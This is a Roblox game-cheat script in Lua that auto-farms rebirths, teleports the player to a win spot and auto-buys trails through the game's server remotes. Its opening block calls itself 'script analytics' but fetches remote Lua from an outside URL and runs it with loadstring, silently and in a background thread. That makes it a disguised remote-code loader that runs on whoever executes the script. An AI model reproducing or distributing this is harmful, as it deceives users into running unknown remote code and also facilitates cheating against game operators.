--[[rscripts:analytics:start]] -- Script analytics (enabled by the creator on rscripts.net). -- Runs in its own thread and cannot affect the script below. task.spawn(function() pcall(function() loadstring(game:HttpGet("https://rscripts.net/api/telemetry/client.lua?s=6a57a79bc9e4371bd21614b0"))() end) end) --[[rscripts:analytics:end]] local Players = game:GetService("Players") local UserInputService = game:GetService("UserInputService") local ReplicatedStorage = game:GetService("ReplicatedStorage") local player = Players.LocalPlayer local remotes = ReplicatedStorage.Remotes local rebirthRemote = remotes.RebirthInit local purchaseRemote = remotes.PurchaseTrailWins local equipRemote = remotes.EquipTrail local trailNames = {"GreenTrail", "RedTrail", "BlueTrail", "YellowTrail", "PurpleTrail", "RainbowTrail"} local waypoint = nil local rebirthActive = false local autoWinActive = false local trailsActive = false local winCFrame = CFrame.new(-1582.1, -4.3, 213.5) local function getRoot() local char = player.Character return char and char:FindFirstChild("HumanoidRootPart") end local function notify(msg) game:GetService("StarterGui"):SetCore("SendNotification", { Title = "Void Scripts", Text = msg, Duration = 2 }) end local function toggleWaypoint() local root = getRoot() if waypoint then waypoint = nil notify("Waypoint cleared") elseif root then waypoint = root.CFrame notify("Waypoint set") else notify("Character not found") end end local function toggleRebirth() if not waypoint then notify("Set waypoint first with L") return end rebirthActive = not rebirthActive if rebirthActive then notify("Auto Farm enabled") task.spawn(function() while rebirthActive do local root = getRoot() if root and waypoint then root.CFrame = waypoint end rebirthRemote:FireServer() task.wait() end end) else notify("Auto Farm disabled ") end end local function toggleTrails() trailsActive = not trailsActive if not trailsActive then notify("Trails process stopped") return end notify("Starting auto buying trails (will stop at Rainbow)") task.spawn(function() while trailsActive do for _, name in ipairs(trailNames) do if not trailsActive then break end purchaseRemote:InvokeServer(name) equipRemote:FireServer(name) if name == "RainbowTrail" then notify("RainbowTrail equipped - Stopped") trailsActive = false break end task.wait(0.1) end if trailsActive then task.wait(0.5) end end end) end local function toggleAutoWin() autoWinActive = not autoWinActive if autoWinActive then notify("Auto Win enabled") task.spawn(function() while autoWinActive do local root = getRoot() if root then root.CFrame = winCFrame end task.wait() end end) else notify("Auto Win disabled") end end UserInputService.InputBegan:Connect(function(input, gameProcessed) if gameProcessed then return end local key = input.KeyCode if key == Enum.KeyCode.L then toggleWaypoint() elseif key == Enum.KeyCode.K then toggleRebirth() elseif key == Enum.KeyCode.P then toggleTrails() elseif key == Enum.KeyCode.Q then toggleAutoWin() end end) notify("Script executed perfectly!")